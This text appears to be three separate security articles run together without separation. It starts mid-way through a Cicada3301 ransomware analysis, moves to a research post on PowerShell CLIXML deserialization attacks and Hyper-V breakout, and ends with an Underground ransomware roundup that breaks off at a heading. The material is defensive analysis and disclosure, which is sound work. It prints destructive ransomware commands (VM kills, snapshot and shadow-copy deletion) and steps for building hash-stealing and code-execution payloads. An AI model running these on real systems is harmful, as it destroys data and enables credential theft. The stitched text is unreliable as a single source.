Both use –ui command parameters to provide a graphic output on encryption
Both use the same convention for naming files, but changing “RECOVER-“ransomware extension”-FILES.txt” to “RECOVER-“ransomware extension”-DATA.txt”[2]
How the key parameter is used to decrypt the ransomware note
Below is an example of code from Cicada3301 that is almost identical to ALPHV.
Example of code shared between ALPHV and Cicada3301.
Analysis of the Threat Actor
The initial attack vector was the threat actor using valid credentials, either stolen or brute-forced, to log in using ScreenConnect. The IP address 91.92.249.203, used by the threat actor, has been tied to a botnet known as “Brutus” that, in turn, has been linked to a broad campaign of password guessing various VPN solutions, including ScreenConnect. This botnet has been active since at least March 2024, when the first article about it was published, but possibly longer.[3]
The IP address used in this initial login was used a few hours before the threat actor started to conduct actions on the systems, so it is highly unlikely that an access broker could compromise the system and pass on the access to a buyer in the span of a few hours unless there was an established connection between them.
This could mean that either (A) the threat actor behind the Brutus botnet is directly connected to the Cicida3301 ransomware group or (B) the use of the IP address by two separate threat actors, both using them to compromise victims using ScreenConnect, is purely coincidental. As far as we could observe, this IP address was still part of the “Brutus” botnet at the time of the ransomware attack.
The timeline is also interesting as the Brutus botnet activity began on March 18, two weeks after it was reported that the BlackCat/ALPHV ransomware group conducted an apparent exit scam and ceased their operations.[4]
It is possible that all these events are related and that part of the BlackCat group has now rebranded themselves as Cicada3301 and teamed up with the Brutus botnet, or even started it themselves, as a means to gain access to potential victims, while they modified their ransomware into the new Cicada3301. Having easy access to a reliable initial access broker can be a way to offer a more “complete” service for the group’s affiliates.
The group could also have teamed up with the malware developer behind ALPHV. This individual appears to have worked for several different ransomware groups in the past.[5]
It is also possible that another group of cybercriminals obtained the code to ALPHV and modified it to suit their needs. When BlackCat shut down their operations, they stated that the source code to their ransomware was for sale for $5 million. It is also important to note that, as far as we can tell, the Cicada3301 is not quite as sophisticated as the ALPHV ransomware. The creators may decide to add additional features, such as better obfuscation, later.
Regardless of whether Cicada3301 is a rebrand of ALPHV, they have a ransomware written by the same developer as ALPHV, or they have just copied parts of ALPHV to make their own ransomware, the timeline suggests the demise of BlackCat and the emergence of first the Brutus botnet and then the Cicada3301 ransomware operation may possibly be all connected. More investigation is needed before we can say anything for certain, however.
Technical Details
Initial Observations
The ransomware is an ELF binary, and as shown by Detect It Easy, it is compiled and written in Rust.
Initial triage of the ransomware
That the ransomware is written in Rust was further strengthened by investigating the .comment section of the binary. There, it was revealed that version 1.79.0 of Rust has been used.
.comment section of the ransomware
Finally, it was further validated that the binary was written in Rust by just looking for strings in the ransomware. With string references to “Rust”, and strings referencing to “Cargo” that is Rust’s build system and package manager, it is concluded that the ransomware is written in Rust.
Strings related to Rust in the ransomware
Ransomware Functionality
At the start of the ransomware main function, there are several references to parameters that should be passed as an argument to binary, using clap::args, that hold different functionalities that can be used in combination as well.
Arguments passed to the ransomware
The binary has a built-in help function, giving an explanation of the different parameters and how they should be used.
Help function of the ransomware
The main function of the binary, which is done by the malware developer, is called linux_enc. By searching for linux_enc function a general program flow of the binary could be found.
The function calls of main
The Ransomware Parameters
It is possible to add a sleep parameter of the binary, adding a delay in seconds when the ransomware should be executed. For the sleep function, the ransomware uses the built-in sleep function std::thread::sleep
The sleep parameter of the ransomware
The ui parameter prints the result of the encryption to the screen, showing what files have been encrypted and a statistic of the total amount of files and data that has been successfully encrypted.
The ui parameter of the ransomware
The ui parameter was confirmed by running the ransomware and using the ui flag, showing the progress and statistics on the command prompt.
The ui parameter output
If the parameter no_vm_ss is chosen, the ransomware will encrypt files without shutting down the virtual machines that are running on ESXi. This is done by using the built-in esxicli terminal that will also delete snapshots.
Built-in esxicli commands of the ransomware
The full commands that the ransomware is utilizing are the following.
esxcli –formatter=csv –format-param=fields==\”WorldID,DisplayName\” vm process list | grep -viE \”,(),\” | awk -F \”\\\”*,\\\”*\” \'{system(\”esxcli vm process kill –type=force –world-id=\”$1)}\’ > /dev/null 2>&1;
for i in `vim-cmd vmsvc/getallvms| awk \'{print$1}\’`;do vim-cmd vmsvc/snapshot.removeall $i & done > /dev/null 2>&1
The most important parameter is the one named key. This needs to be provided, otherwise the binary will fail and show on the screen “Key is invalid”.
Output if wrong key is passed to the ransomware
The binary has a function called check_key_and_get_rec_text. It will make a check to see if the provided key is of length 0x2C to enter the function, but the size is also provided as an argument to the function. If the length is less than 0x2C the binary will terminate directly.
Checking correct key length
If the size of the key is correct, the ransomware will enter the function check_key_and_get_rec_text. One of the first things that happen in the function is to load an encrypted base64 encoded data blob that is stored in the data section. The decoded data is then stored and will be used later in the function.
Encoded and encrypted ransomware note inside the ransomware
The provided parameter key is then taken as a key to decrypt, using ChaCha20, the encoded data blob. If the provided key is correct the message that is shown in the ransomware note will be decrypted.
Decryption of the ransomware noteDecrypted ransomware note
To verify that the provided key was correct after exiting the check_key_and_get_rec_text function, there is a check that the ransomware note has been decrypted properly.
Validation that the ransomware note has been decrypted
File Encryption
The functions start by using OsRng to generate entropy for the symmetric key. OsRng is a random number generator that retrieves randomness from the operating system.
Function used to generate keys to ChaCha20
The binary contains a function called encrypt_file that handles the encryption of the files. The first function is to extract another public pgp key that is stored in the data section. This key is used for encryption to encrypt the symmetric key that is generated for file encryption.
RSA key used for key encryption
It then creates the file that will store the ransomware message in the folder of the encrypted files. It will be named “RECOVER-’ending of encrypted file’-DATA.txt”
Creating the ransomware note
Inside the encryption function there is a list of file extensions where most of them are related to either documents or pictures. This indicates that the ransomware has been used to encrypt Windows systems before being ported to ransomware ESXi hosts.
Then it checks the size of the file. If it is greater than 0x6400000, then it will encrypt the file in parts, and if it is smaller, the whole file will be encrypted.
Checking file size for encryption
The files will then be encrypted with a symmetric key generated by OsRng using ChaCha20.
Use of ChaCha20 for file encryption
After the encryption is done, the ransomware encrypts the ChaCha20 key with the provided RSA key and finally writes the extension to the encrypted file.
Adding the encryption file extension
The file extension is also added to the end of the encrypted file, together with the RSA-encrypted ChaCha20 key.
File extension at the end of the file
YARA Rule for Cicada3301 Threat Hunting
rule elf_cicada3301{
meta:
author = "Nicklas Keijser"
description = "Detect ESXi ransomware by the group Cicada3301"
date = "2024-08-31"
strings:
$x1 = "no_vm_ss" nocase wide ascii
$x2 = "linux_enc" nocase wide ascii
$x3 = "nohup" nocase wide ascii
$x4 = "snapshot.removeall" nocase wide ascii
$x5 = {65 78 70 61 6E 64 20 33 32 2D 62 79 74 65 20 6B} //Use of ChaCha20 constant expand 32-byte k
condition:
uint16(0) == 0x457F
and filesize < 10000KB
and (all of ($x*))
}
In the video below we show a Hyper-V guest-to-host breakout scenario that is based on a CLIXML deserialization attack. After reading this article, you will understand how it works and what you need to do to ensure it does not affect your environment.Hyper-V breakout via CLIXML deserialization attack
PART 1 – HISTORY OF DESERIALIZATION ATTACKS
Serialization is the process of converting the state of a data object into an easily transmittable data format. In serialized form, the data can be saved in a database, sent over the network to another computer, saved to disk, or some other destination. The reverse process is called deserialization. During deserialization the data object is reconstructed from the serialized form.
This vulnerability class was first described in 2006 by Marc Schönefeld in Pentesting J2EE although it really became mainstream around 2015 after Frohoff and Lawrence published Marshalling Pickles and their tool YsoSerial. Muñoz and Mirosh later showed that deserialization attacks are also possible in .NET applications in Friday The 13th JSON Attacks. Although they do not target PowerShell deserialization explicitly, their research actually touched upon CLIXML, specifically in their PSObject gadget chain (PSObjectGenerator.cs). As of 2024, most languages and frameworks have been studied in the context of deserialization attacks including PHP, Python, and others.
What is a gadget chain? Essentially, a gadget chain is the serialized data that the threat actor provides to exploit the vulnerability. The gadget chain is crafted to trigger a chain of function calls that eventually leads to a security impact. For example, it may start with an implicit call to “destruct” on the object that the threat actor controls. Within that function, another function is called, and so on. If you are unfamiliar with the generic concepts of deserialization attacks, I recommend that you check out my previous article on PHP Laravel deserialization attacks: From S3 bucket to Laravel unserialize RCE – Truesec. There are also plenty of great resources online!
Afaik, the first time CLIXML deserialization attacks in a PowerShell context got proper attention was during the Exchange Server exploits. CLIXML deserialization was a key component of the ProxyNotShell exploit chain. Piotr Bazydło did a great job explaining how it works in Control Your Types of Get Pwned and he has continued researching the topic of Exchange PowerShell (see OffensiveCon24). This research has been an important source of inspiration for me. However, the key difference from what we will dive into here, is that ProxyNotShell and Bazydło’s research are limited to Exchange PowerShell. We will look into PowerShell in general.
PART 2 – INTRODUCTION TO CLIXML SERIALIZATION
PowerShell is a widely used scripting language available by default on all modern Windows computers. PowerShell CLIXML is the format used by PowerShell’s serialization engine PSSerializer.
The cmdlets Import-Clixml and Export-Clixml makes it easy to serialize and deserialize objects in PowerShell. The cmdlets are essentially wrappers for the underlying functions [PSSerializer]::Serialize() and [PSSerializer]::Deserialize().
Here’s an example of how it could be used:
# Create an example object and save it to example.xml
$myobject = "Hello World!"
$myobject | Export-Clixml .\example.xml
# Here we deserialize the data in example.xml into $deserialized. Note that this works even if example.xml was originally created on another computer.
$deserialized = Import-Clixml .\example.xml
The format of example.xml is, you guessed it, CLIXML. Below we see the contents of the file.
CLIXML supports so called “primitive types” that can be declared with their respective tags. The table below shows a few examples.
Element
Type
Example
S
String
<S>Hello world</S>
I32
Signed Integer
<I32>1337</I32>
SBK
ScriptBlock
<SBK>get-process</SBK>
B
Boolean
<B>true</B>
BA
Byte array (base64 encoded)
<BA>AQIDBA==</BA>
Nil
NULL
<Nil />
Examples of known primitive types
CLIXML also supports what they call “complex types” which includes Lists, Stacks, and Objects. An Object uses the tag <Obj>. The example below is a serialized System.Drawing.Point object. You can see the type name System.Drawing.Pointunder TN and under Props the properties named IsEmpty, X and Y.
That’s it for the quick introduction to CLIXML and should cover what you need to know to follow the rest of this article. If you want to learn more you can find the complete specification under MS-PSRP documentation here [MS-PSRP]: Serialization | Microsoft Learn.
PSSERIALIZER AND CLIXML DESERIALIZATION
PowerShell Core started as a fork of Windows PowerShell 5.1 and is open source (PowerShell). We use the public source code to gather an understanding of how the internals of the deserialization work.
We follow the code flow after calling the PSSerializer.Deserialize function and see that the serialized XML ends up being parsed, recursively looped, and every element is eventually passed to the ReadOneObject (serialization.cs) function, defined in the InternalSerializer class.
The ReadOneObject function determines how to handle the data, specifically how to deserialize it. The returned object will either be rehydrated or restored as a property bag.
Let’s explain these two terms with an example. First we create a System.Exception object, we check what type it is using the Get-Member cmdlet. We see that the type is System.Exception.
Then we serialize System.Exception into CLIXML. We then deserialize the object and print the type information again. We see that after deserialization, it is no longer the same type.
The $deserialized object is of the type Deserialized.System.Exception. This is not the same as System.Exception. Classes with the Deserialized prefix are sometimes called property bags and you can think of them as a dictionary type. The property bag contains the public properties of the original object. Methods of the original class are not available through a property bag.
With rehydration on the other hand, you will get a “live object” of the original class. Let’s take a look at an example of this. You’ll notice in the example below, the $deserialized object is of the type Microsoft.Management.Infrastructure.CimInstance#ROOT/cimv2/Win32_BIOS, just like the original object. Because of this, we also have access to the original methods.
User-defined types are types that PowerShell module developers can define. However, PowerShell ships with a bunch of modules, so arguably we also have default user-defined types. User-defined types are specified in files name *.types.ps1xml and you can find the default ones under $PSHOME\types.ps1xml.
An example of the default types, is Deserialized.System.Net.IPAddress. Below we see the type definition in types.ps1xml.
This type schema applies to the property bag Deserialized.System.Net.IPAddress and we see that they define a TargetTypeForDeserialization. The Microsoft.PowerShell.DeserializingTypeConverter is a class that inherits from System.Management.Automation.PSTypeConverter. In short, this definition says that the property bag should be rehydrated to the original System.Net.IPAddressobject during deserialization.
On my system, I found that types.ps1xml contains 27 types that will be rehydrated. Note that this varies depending on what features and software you have installed on the computer. For example, a domain controller will by default have the Active Directory module installed.
SUMMARY OF WHAT WE LEARNED
In the PSSerializer deserialization, objects are either converted into a property bag or rehydrated to the original object. The object will be rehydrated if it is a:
Known primitive type (e.g. integers, strings)
CimInstance type
Type supported by the default DeserializingTypeConverter
User-defined type (that defines a DeserializingTypeConverter)
PART 3 – ATTACKING CLIXML DESERIALIZATION
In this section we will start looking into what could go wrong during the CLIXML deserialization. We will start with some less useful gadgets that are great for understanding how things work. Later, we will dive into the more useful gadgets.
SCRIPTBLOCK REHYDRATION
ScriptBlock (using the tag <SBK>) is a known primitive type. This type is special because even if it is technically a known primitive type (that should be rehydrated) it is not rehydrated to ScriptBlock but instead to String. There have been multiple issues created around this in the PowerShell GitHub repo and the PowerShell developers have stated that this is by design, due to security reasons.
Remember that there are some default types that are rehydrated? There are three types that we found useful, namely:
LineBreakpoint
CommandBreakpoint
VariableBreakpoint
We find that if a ScriptBlock is contained within a Breakpoint, then it will actually rehydrate. Here’s the source code for the CommandBreakpoint rehydration, notice the call to RehydrateScriptBlock:
Do you remember Microsoft’s answers in the Github issues I showed above, they said “we do not want to deserialize ScriptBlocks because there would be too many places with automatic code execution”. What did they mean with that?
I believe they refer to delay-bind arguments. There are lots of them in PowerShell.
# These two are obvious, and will of course pop calc, because you are explicitly invoking the action
& $deserialized.Action
Invoke-Command $deserialized.Action
$example = “This can be any value”
# But if you run this, you will also pop mspaint
$example | ForEach-Object $deserialized.Action
# and this will pop mspaint
$example | Select-Object $deserialized.Action
# And this
Get-Item .\out | Copy-Item -Destination $deserialized.Action
# And all of these
$example | Rename-Item -NewName $deserialized.Action
$example | Get-Date -Date $deserialized.Action
$example | Group-Object $deserialized.Action
$example | Sort-Object $deserialized.Action
$example | Write-Error -Message $deserialized.Action
$example | Test-Path -Credential $deserialized.Action
$example | Test-Path -Path $deserialized.Action
$example | Test-Connection -ComputerName $deserialized.Action
# And way more
Even if this gadget isn’t very practical, as the victim must use the property name “action” to make it trigger, I believe it still shows that you cannot trust deserialized data.
ARBITRARY DNS LOOKUP
As we talked about previously, CimInstances will rehydrate by default. There are a few interesting CimInstance types that ship with a vanilla PowerShell installation.
The first one is Win32_PingStatus. The code we see below is from the Types.ps1xml file:
We see that IPV4Address is defined as a ScriptProperty that contains a call to GetHostEntry, which is a function that will trigger a DNS request. The argument to the function is the property Address.
In an insecure deserialization scenario, we can control this value and thus trigger arbitrary DNS requests from the victim’s machine. To try this out we need to first get a template for the payload, we do so by serializing a Win32_PingStatus object.
Get-CimInstance -ClassName Win32_PingStatus -Filter "Address='127.0.0.1' and timeout=1" | export-clixml .\payload.xml
We then open up payload.xml and change the Address property to a domain of our choosing.
CLIXML payload file, with manipulated Address property
We fire up Wireshark to observe the network traffic and then we deserialize the payload with Import-CliXml.
import-clixml .\payload.xml
Network traffic showing that the domain name lookup was triggered
Cool! We can trigger arbitrary DNS requests from an untrusted data deserialization. This gadget would be the “PowerShell version” of the Java URLDNS gadget.
What’s the security impact of a DNS request? Not much by itself. However, it is very useful when looking for security vulnerabilities with limited visibility of the target application. An adversary can set up a DNS request listener (such as Burp Collaborator) and then use this gadget as their payload. This way they can confirm that their payload got deserialized by the target application.
AVAILABILITY AND FORMATTING
Let’s take a look at another gadget that isn’t that very useful but is interesting because we will learn more about how these CLIXML gadgets work. Let’s look at MSFT_SmbShare. This type will call the cmdlet Get-Aclwith the property Path as argument.
We can of course control the value of this property and set it to any value. If a UNC path is provided, Get-Acl will attempt to authenticate, and thus send the victim’s Net-NTLMv2 hash to the remote host we specify.
We generate a payload and set the Path property, similarly to how we did it with Win32_PingStatus. However, we notice that it does not trigger.
Why? Well, this module (SmbShare) is included by default in PowerShell, but it is not loaded automatically on startup. In PowerShell, modules are either loaded explicitly with Import-Module <modulename> or implictly once the module is “touched”. Implicit load triggers when a cmdlet of the module is used (for example Get-SmbShare in this case), or when you use Get-Help or Get-Command.
In other words, we need to run:
Get-SmbShare
Import-CliXml .\payload.xml
But it still doesn’t work!
The second issue is that the property we try to abuse is PresetPathAcl, but this is not included in the “default view”. In PowerShell, Format.ps1xml files can be used to define how objects should be displayed (see about_Format.ps1xml – PowerShell | Microsoft Learn). The format files are used to declare which properties should be printed in list view, table view, and so on.
In other words, our gadget will only trigger when the PresetPathAcl is explicitly accessed, or implicitly when all properties are accessed. Below we see a few examples of when it will trigger.
So, finally, we spin up an MSF listener to capture the hash. We load the module, deserialize the data, and finally select all properties with export-csv.
Now let’s look at the Microsoft.Win32.RegistryKey type. It defines an interesting ViewDefinition in its format.xml file. We see when printed as a list (the default output format), it will perform a Get-ItemProperty call with the member PSPath as its LiteralPath argument.
Like we already learned, we can control the value of properties. Thus, we can set PSPath to any value we desire. To create the a payload template, we serialize the result of a Get-Item <regpath> call, then we change the property to point to our malicious SMB server.
Now, this is more fun, because the type is available by default and the property is accessed by default. All that’s the victim need to do to trigger the gadget is:
import-clixml payload.xml
… and ta-da!
SMB server showing a captured hash
REMOTE CODE EXECUTION
So far, we looked at how to exploit deserialization when you only have the default modules available. However, PowerShell has a large ecosystem of modules. Most of these third-party modules are hosted on PowerShell Gallery.
PSFramework is a PowerShell module with close to 5 million downloads on PowerShell Gallery. On top of this, there are many modules that are dependent on this module. A few notable examples are the Microsoft official modules Azure/AzOps, Azure/AzOps-Accelerator, Azure/AVDSessionHostReplacer, and Microsoft/PAWTools.
PSFramework module implements user-defined types with a custom converter. If we look at the PSFramework.Message.LogEntry type as an example, we see that it reminds us of the default type IPAddress that we looked at before. The key difference is that it specifies PSFramework.Serialization.SerializationTypeConverter as its type converter.
Looking at SerializationTypeConverter.cs, we see that the type converter is essentially a wrapper on BinaryFormatter. This is one of the formatters analyzed by Munoz et al and it is known to be vulnerable to arbitrary code execution.
The vulnerability is in fact very similar to the vulnerable Exchange converter that was abused in ProxyNotShell. As you may remember, user-defined types are rehydrated using LanguagePrimitives.ConvertTo. The combination of this and a BinaryFormatter is all we need. From Munoz et. al, we also learned that you can achieve code execution if you can control the object and the type passed to LanguagePrimitives.ConvertTo. This is done by passing the XamlReader type and implicitly calling the static method Parse(string). The complete details of this can be found in Bazydło’s NotProxyShell article.
In other words, we can achieve remote code execution if the victim has PSFramework available, or any of the hundreds of modules that are dependent on it.
This is by the way the gadget we used to breakout from Hyper-V and get code execution on the hypervisor host in the video above. But more on that later.
SUMMARY OF WHAT WE LEARNED
I believe it is fair to say that CLIXML deserialization of untrusted data is dangerous. The impact will vary depending on a variety of factors, including what modules you have available and how you use the resulting object. Note that, so far, we only talked about this issue in a local context. We will soon see that a threat actor can perform these attacks remotely. Here is a summary what could happen when you deserialize untrusted data in PowerShell:
On a fully patched, vanilla PowerShell we can achieve:
Arbitrary DNS lookup
Arbitrary Code Execution (if the property “action” is used)
Steal Net-NTLMv2 hashes
Unpatched system (we haven’t really detailed these two because they are old and not that relevant anymore):
XXE (< .NET 4.5.2)
Arbitrary Code Execution (CVE-2017-8565)
On a system with non-default modules installed:
Arbitrary Code Execution (affects hundreds of modules, including three official Microsoft modules)
Multiple other impacts
PART 4 – CLIXML DESERIALIZATION ATTACK VECTORS
You might think “I do not use Import-Clixml so this is not a problem for me”. This section will show why this is not entirely true. The reason you need to care is that some very popular protocols rely on it, and you might use CLIXML deserialization without knowing it!
ATTACKING POWERSHELL REMOTING
PowerShell Remoting Protocol (PSRP) is a protocol for managing Windows computers in an enterprise environment. PSRP is an addon on top of the SOAP web service protocol WS-Management (WSMAN). Microsoft’s implementation of WSMAN is called WinRM. PSRP adds a bunch of things on top of WinRM including message fragmentation, compression, and how to share PowerShell objects between the PSRP client and server. You guessed it – PowerShell objects are shared using CLIXML.
In this attack scenario, the server is not the victim. Instead we will show how an compromised server could launch a CLIXML deserialization attack against a PSRP client. This is a very interesting scenario because PowerShell Remoting is often used by administrators to connect to potentially compromised systems and systems in a lower security tier.
The Invoke-Command cmdlet is an example of cmdlets that is implemented with PSRP:
The command “whoami” will be executed on the remote server and $me will be populated with the result of the remote command within the client session. This is a powerful feature that works because CLIXML serialization is used by both the PSRP server and client to pass objects back and forth.
The problem however, is that the PSRP client will deserialize any CLIXML returned from the PSRP server. So if the threat actor has compromised the server, they could return malicious data (e.g. one of the gadget chains I presented above) and thus compromise the connecting client.
Encryption, certificates, kerberos, two-way-authentication and whatever other security mechanisms that PSRP uses are all great. However, they will do nothing to prevent this attack, where the premise is that the server is already compromised.
We implement this attack by compiling a custom PowerShell, based on the open source version. The only thing we need to is to change the SerializeToBytes function and make it return serialized data of our choosing. You also need some logic to not break the protocol, but we will not detail that here.
As a proof-of-concept we return a string (using the <S> tags).
Custom stream writer added to fragmentor.cs
Now, to make PowerShell Remoting server use our custom PowerShell, we need to build pwrshplugin.dll and update the microsoft.powershellplugin for WSMan, and make it to point to our custom PowerShell version.
Microsoft.PowerShell plugin pointing to our custom PowerShell
Finally, we try it out by running an example command over PSRP against the compromised server. We see that not only is our string returned, but the client has deserialized our arbitrary data (the <S> tags are gone).
Exploit was triggered on client when using PowerShell Remoting against the compromised server
As we described previously, the impact of this (a deserialization of untrusted data) will vary depending on what gadget the victim have available in their local PowerShell session and how they use the result object.
In the video below, we show an example of how a compromised server (in this case WEB19.dev.local) could be configured to deliver the hash stealer gadget. When an unsuspecting domain admin runs invoke-command against the compromised server, the threat actor steals their Net-NTLMv2 hash.PowerShell Remoting CLIXML deserialization attack
This is of course just one of the examples. If you have other gadgets available, you might end up with a remote code execution. In the recommendations section we will discuss what you need to do to mimize the impact.
BREAKING OUT OF HYPER-V (VIA POWERSHELL DIRECT)
PowerShell Direct is a feature to run PowerShell commands in a virtual machine from the underlying Hyper-V host, regardless of network configuration or remote management settings. Both the guest and the host must run at least Windows 10 or Windows Server 2016.
PowerShell Direct is the PSRP protocol, but with VMBUS for transfer (as opposed to TCP/IP). This means that the same attack scenario applies to Hyper-V. This is particularly interesting since the server (the VM) can attack the client (the Hyper-V host), potentially leading to a VM-breakout scenario when PowerShell Direct is used. Note that for example a backup solution could be configured to use PowerShell Direct, thus generating reocurring opportunity for threat actors to abuse PowerShell Direct calls.
PowerShell Direct can be hijacked with a search order hijack. If we put our malicious “powershell.exe” under C:\Windows, it will take precedence over the legitimate PowerShell. In other words, we will build a custom PowerShell just as we did in the PSRP scenario and use it to hijack the PowerShell Direct channel.
This technique is what you saw in the demo video in the beginning of this article. The remote code execution we showed abuses the PSFramework gadget. Prior to recording the video, we installed a Microsoft official PowerShell module (which relies on PSFramework). Other than this, everything is in the default configuration. Note that all other gadgets we have presented would have worked too.
The C2 connection seen in the video was established using a custom-built reverse PowerShell Direct channel. We have decided to not share the C2 code or the gadget chain publicly.
PART 5 – DISCLOSURE TIMELINE
Time
Who
Description
2024-03-18 23:57
Alex to MSRC
Reported findings with working PoCs to Microsoft (MSRC)
2024-03-21 17:33
MSRC
Case opened
2024-04-15 19:03
MSRC to Alex
“We confirmed the behavior you reported”
2024-05-06 17:53
Alex to MSRC
Asked for status update
2024-05-07 21:09
MSRC
Closed the case
2024-05-26 23:33
Alex to MSRC
Asked for resolution details
2024-05-30
Alex
Started escalating via contacts at MS and MVP friends
2024-06-04
Microsoft to Alex
Asked for a copy of my SEC-T presentation
2024-06-04
Alex to Microsoft
Sent my SEC-T presentation
2024-06-26 15:55
MSRC
Opened the case
2024-07-22 23:02
MSRC to Alex
“Thank you[…] The issue has been fixed.”
2024-07-22 23:04
MSRC
Closed the case
2024-07-22
Alex to MSRC
Offered to help validate the fix and for resolution details.
2024-08-14
Alex to Microsoft
Sent reminder asking if they want to give feedback on the presentation
2024-08-19
Alex to PSFramework
Started reachout to PSFramework.
2024-08-28
PSFramework
First contact.
2024-08-29
MSRC
Public acknowledgment.
2024-09-13
Alex
Presented at SEC-T.
2024-09-14
Alex
Published blog post.
Response from MSRC saying they have fixed the issue.
To me, it is still unclear what MSRC means with “The issue has been fixed” as they have not shared any resolution details. While it is obvious that PSRP and PSDirect still deserializes untrusted data, it appears that they also did not fix the remote code execution (due to PSFramework dependency) in Microsoft’s own PowerShell modules, although they are covered under MSRC according to their security.md files (Azure/AzOps, Azure/AzOps-Accelerator, Azure/AVDSessionHostReplacer, PAWTools).
On 2024-08-19 I decided to contact the Microsoft employee behind PSFramework myself. He instantly understood the issue and did a great job quickly resolving it (big kudos as he did it during his vacation!). Make sure to update to v1.12.345 in case you have PSFramework installed.
This research was publicly released 2024-09-14, which is 180 days after the initial private disclosure.
PART 6 – MITIGATIONS AND RECOMMENDATIONS
SECURE POWERSHELL DEVELOPMENT
When developing PowerShell Modules, it is important to keep deserialization attacks in mind – even if your module is not deserializing untrusted data. In fact, this could be an issue even if your module doesn’t perform any deserialzation at all.
It is particularily important if your module defines user-define types, converters, and formats. When you introduce new user-defined types to your end-users systems, it will extend the attack surface on their system. If you’re unlucky, your module could introduce a new gadget chain that can be abused when the end-user uses PowerShell Remoting, PowerShell Direct, or when they use any script or module that performs deserialization of untrusted data.
1. SECURING YOUR USER-DEFINED TYPES
Be careful with types.ps1xml declarations. Keep in mind that the threat actor can control most of the object properties during deserialization.
Be careful with format.ps1xml declarations. Keep in mind that the object could be maliciously crafted, thus, the threat actor could control most of the object properties.
Be careful when you implement type converters. There are plenty of good reading online on how to write secure deserialization. Here is a good starting point: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
2. AVOID THE PROPERTY NAME ‘ACTION’ The property name action is dangerous and should be avoided. Using a property of the name action could lead to critical vulnerabilities in the most unexpected ways. For example, the following code is vulnerable to arbitrary code execution:
$obj = Import-Clixml .\untrusted.xml
$example = @("Hello","World!") # this can be any value
$example | Select-Object $deserialized.Action
RECOMMENDATIONS FOR IT OPS
PSRP is still a recommended method for managing your environment. You should not go back to RDP (Remote Desktop Protocol) or similar for lots of reasons. However, before using PSRP or PSDirect, there are a few things you need to keep in mind.
First off, you should ensure that the computer you are remoting from is fully patched. This will solve some of the problems, but not all.
Secondly, you should never use remoting from a computer that is littered with third-party PowerShell modules. In other words, you probably shouldn’t remote from your all-in-one admin PC. Use a privileged access workstation that is dedicated for admin tasks.
Thirdly, before you use remoting, follow thru with the following points:
1. REVIEW YOUR POWERSHELL MODULES Check the modules loaded on startup by starting a fresh PowerShell prompt and run:
get-module
Note however that modules will be implicitly loaded as soon as you use one of their cmdlets. So you should also check the available modules on your system.
get-module -ListAvailable
2. REDUCE YOUR POWERSHELL MODULES When you install a PowerShell module, it may introduce a new deserialization gadget on your system and your system will be exposed as soon as you use PSRP, PSDirect, or use any script that imports untrusted CLIXML.
Being restrictive with PowerShell modules is good practice in general, as third-party modules comes with other risks as well (e.g. supply chain attacks).
This is however not as easy as it may sound. Lots of software ships with their own set of PowerShell modules that will be installed on your system. You need to ensure that these don’t introduce gadgets.
3. MANUAL GADGET MITIGATION As long as PSRP and PSDirect still relies on (untrusted) CLIXML deserialization, there will be a constant battle to find and defuse deserialization gadgets.
As an example, the “SMB stealing gadget” can be mitigated with a simple if statement. Find the following code in C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml:
FortiGuard Labs gathers data on ransomware variants of interest that have been gaining traction within our datasets and the OSINT community. The Ransomware Roundup report aims to provide readers with brief insights into the evolving ransomware landscape and the Fortinet solutions that protect against those variants.
This edition of the Ransomware Roundup covers the Underground ransomware.
Affected platforms: Microsoft Windows Impacted parties: Microsoft Windows Impact: Encrypts victims’ files and demands ransom for file decryption Severity level: High
Underground Ransomware Overview
The first sample of Underground ransomware was first observed in early July 2023, on a publicly available file scanning site. This roughly coincides with the timing of the first victim posted on its data leak site on July 13, 2023.
Like most ransomware, this ransomware encrypts files on victims’ Windows machines and demands a ransom to decrypt them via dropped ransom notes.
Infection Vector
Online reports indicate that the Russia-based RomCom group, also known as Storm-0978, is deploying the Underground ransomware. This threat group is known to exploit CVE-2023-36884 (Microsoft Office and Windows HTML RCE Vulnerability), which could be the infection vector for the ransomware.
FortiGuard Labs published an Outbreak Alert on CVE-2023-36884 on July 13, 2024.
The group may also use other common infection vectors such as email and purchasing access from an Initial Access Broker (IAB).
Attack Method
Once executed, the Underground ransomware deletes shadow copies with the following command:
vssadmin.exe delete shadows /all /quiet
The ransomware sets the maximum time that a RemoteDesktop/TerminalServer session can remain active on the server to 14 days (14 days after the user disconnects) using the following command:
reg.exe add HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services / v MaxDisconnectionTime / t REG_DWORD / d 1209600000 / f
It then stops the MS SQL Server service with the following command:
net.exe stop MSSQLSERVER /f /m
The ransomware then creates and drops a ransom note named “!!readme!!!.txt”:
Figure 1: The Underground ransomware ransom note
While the ransomware encrypts files, it does not change or append file extensions.
Figure 2: A text file before file encryption
Figure 3: A text file after file encryption
It also avoids encrypting files with the following extensions:
.sys
.exe
.dll
.bat
.bin
.cmd
.com
.cpl
.gadget
.inf1
.ins
.inx
.isu
.job
.jse
.lnk
.msc
.msi
.mst
.paf
.pif
.ps1
.reg
.rgs
.scr
.sct
.shb
shs
.u3p
.vb
.vbe
.vbs
.vbscript
.ws
.wsh
.wsf
The ransomware creates and executes temp.cmd, which performs the following actions:
Deletes the original ransomware file
Obtains a list of Windows Event logs and deletes them
Victimology and Data Leak Site
The Underground ransomware has a data leak site that posts victim information, including data stolen from victims. Currently, the data leak site lists 16 victims, with the most recent victim posted on July 3, 2024. Below is a breakdown of the victims and their verticals:
Post Date
Location of Victim
Vertical
2024/07/03
USA
Construction
2024/07/01
France
Pharmaceuticals
2024/06/17
USA
Professional Services
2024/05/27
USA
Banking
2024/05/15
USA
Medicine
2024/05/01
USA
Industry
2024/04/09
USA
Business Services
2024/04/09
USA
Construction
2024/03/25
USA
Manufacturing
2024/03/06
Korea
Manufacturing
2024/02/12
Spain
Manufacturing
2024/02/02
Germany
Industry
2023/07/31
Slovakia
Business Services
2024/07/18
Taiwan
Industry
2024/07/18
Singapore
Manufacturing
2024/07/14
Canada
Manufacturing
Figure 4: The data leak site for Underground ransomware
The data leak site also includes a drop-down box with a list of industries that the ransomware group is targeting or is allowed to target.
Figure 5: One of the victims on the data leak site
The Underground ransomware group also has a Telegram channel that was created on March 21, 2024.
Figure 6: The Underground ransomware Telegram channel
According to the Telegram channel, the ransomware group has made victims’ stolen information available on Mega, a cloud storage service provider that is being abused.
Figure 7: Telegram channel containing links to the stolen information on Mega
Fortinet Protections
